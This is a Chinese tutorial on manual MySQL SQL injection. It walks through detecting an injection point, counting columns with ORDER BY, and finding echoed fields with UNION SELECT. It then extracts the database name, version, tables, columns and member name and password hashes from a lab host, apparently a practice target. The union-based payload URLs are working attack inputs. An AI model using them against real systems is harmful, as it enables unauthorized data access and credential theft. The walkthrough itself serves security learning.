MySQL手工注入基本知识

  • 前言
  • 一、SQL注入的原理
  • 二,如何判断是否有注入点
  • 三、步骤
    • 1.MySQL信息收集
    • 2.数据注入
  • 四,案例演示
    • 1.判断是否有注入点
    • 2.确认字段数
    • 3.判断回显点
    • 4.查询相关内容
      • 1查询库名
      • 2.查询版本号
      • 3.查询数据库表名
      • 4.查询列名信息
      • 5.查询具体数据


前言

此次文章建立在MySQL数据库的基础上

一、SQL注入的原理

可控变量带入数据库查询,变量未存在过滤或者过滤不完整

二,如何判断是否有注入点

and 1=1页面正常
and 1=2页面错误则表明有注入点
同时也可以对参数随意赋值判断如果随意赋值后界面发生变化则代表有注入点

三、步骤

1.MySQL信息收集

(1)操作系统

@@verison_comile_os

(2)数据库名

database()

(3)数据库用户

user()

(4)数据库版本

version()

(5)网络路径等

2.数据注入

同数据库的基础下

低版本通过暴力查询或者结合读取查询
高版本通过对名为information_schema的数据库名的有据查询

高版本MySQL中都会有一个名为information_schema的数据库存储记录了所有数据库名,表名,列名
具体步骤通过下列实例表面

四,案例演示

1.判断是否有注入点

http://124.70.64.48:49303/new_list.php?id=1 and 1=1
页面无误
http://124.70.64.48:49303/new_list.php?id=1 and 1=2
页面出现错误判断有错误点

2.确认字段数

通过‘order by’代码查询
http://124.70.64.48:49303/new_list.php?id=1 order by 1
http://124.70.64.48:49303/new_list.php?id=1 order by 2
http://124.70.64.48:49303/new_list.php?id=1 order by 3
http://124.70.64.48:49303/new_list.php?id=1 order by 4
http://124.70.64.48:49303/new_list.php?id=1 order by 5
到order by 5的时候页面出现错误所以有4个字段

3.判断回显点

sql注入回显点是指sql查询结果显示在页面上位置有回显点的sql注入叫做回显点注入,比如一篇文章的标题、作者、时间、内容等等,这些都可能成为回显点。

我们要使用union select语句,联合查询,通过页面回显找到回显点,再利用其获取我们需要查询的数据。

前置知识:
select 语句用于从表中选取数据。
union 操作符用于合并两个或多个 SELECT 语句的结果集。

UNION 结果集中的列名总是等于 UNION 中第一个 SELECT 语句中的列名

意思就是 联合查询前后的两个表,第一个表的字段数与第二个表的字段数必须相等,否则就会报错

http://124.70.64.48:49303/new_list.php?id=1 union select 1,2,3,4

之前查询到有4个字段数所以联合查询时第二个表的字段数也要为4

如果第二个字段数与第一个不同就会错误

http://124.70.64.48:49303/new_list.php?id=1 union select 1

这里用到对回显数的查询方式如下(在id=1加上‘-’让其显示报错)

http://124.70.64.48:49303/new_list.php?id=-1 union select 1,2,3,4


这里就可以得到回显点时2和3的位置

4.查询相关内容

记录所有表名信息的表

information_schema.tables

记录所有列名信息的表

information_schema.column

表名

table_name

列名

column_name

数据库名

table_schema

1查询库名

http://124.70.64.48:49303/new_list.php?id=-1union select1,database(),database(),4

库名叫‘mozhe_Discuz_StormGroup’

2.查询版本号

http://124.70.64.48:49303/new_list.php?id=-1 union select1,version(),version(),4


版本号在5.0以上是高版本

3.查询数据库表名

http://124.70.64.48:49303/new_list.php?id=-1 union%20select1,group_concat(table_name),3,4 from information_schema.tables where table_schema=‘mozhe_Discuz_StormGroup’

这里不能from tables因为我们要查询的时在information_schema库下的table库中的表名

4.查询列名信息

http://124.70.64.48:49303/new_list.php?id=-1 union select
1,group_concat(column_name),3,4 from information_schema.columns where
table_schema=‘mozhe_Discuz_StormGroup’

5.查询具体数据

http://124.70.64.48:49303/new_list.php?id=-1 union select
1,name,password,4 from StormGroup_member


进而就得到了name和pass(MD5加密)
这里得到的并使想要的答案就需要对其他的信息获取

http://http://124.70.64.48:49303//new_list.php?id=-1 union select
1,concat(name,’-’,password,’-’,status),3,4 from StormGroup_member
limit 0,1

http://http://124.70.64.48:49303//new_list.php?id=-1 union select
1,concat(name,’-’,password,’-’,status),3,4 from StormGroup_member
limit 1,1

更多推荐

MySQL手工注入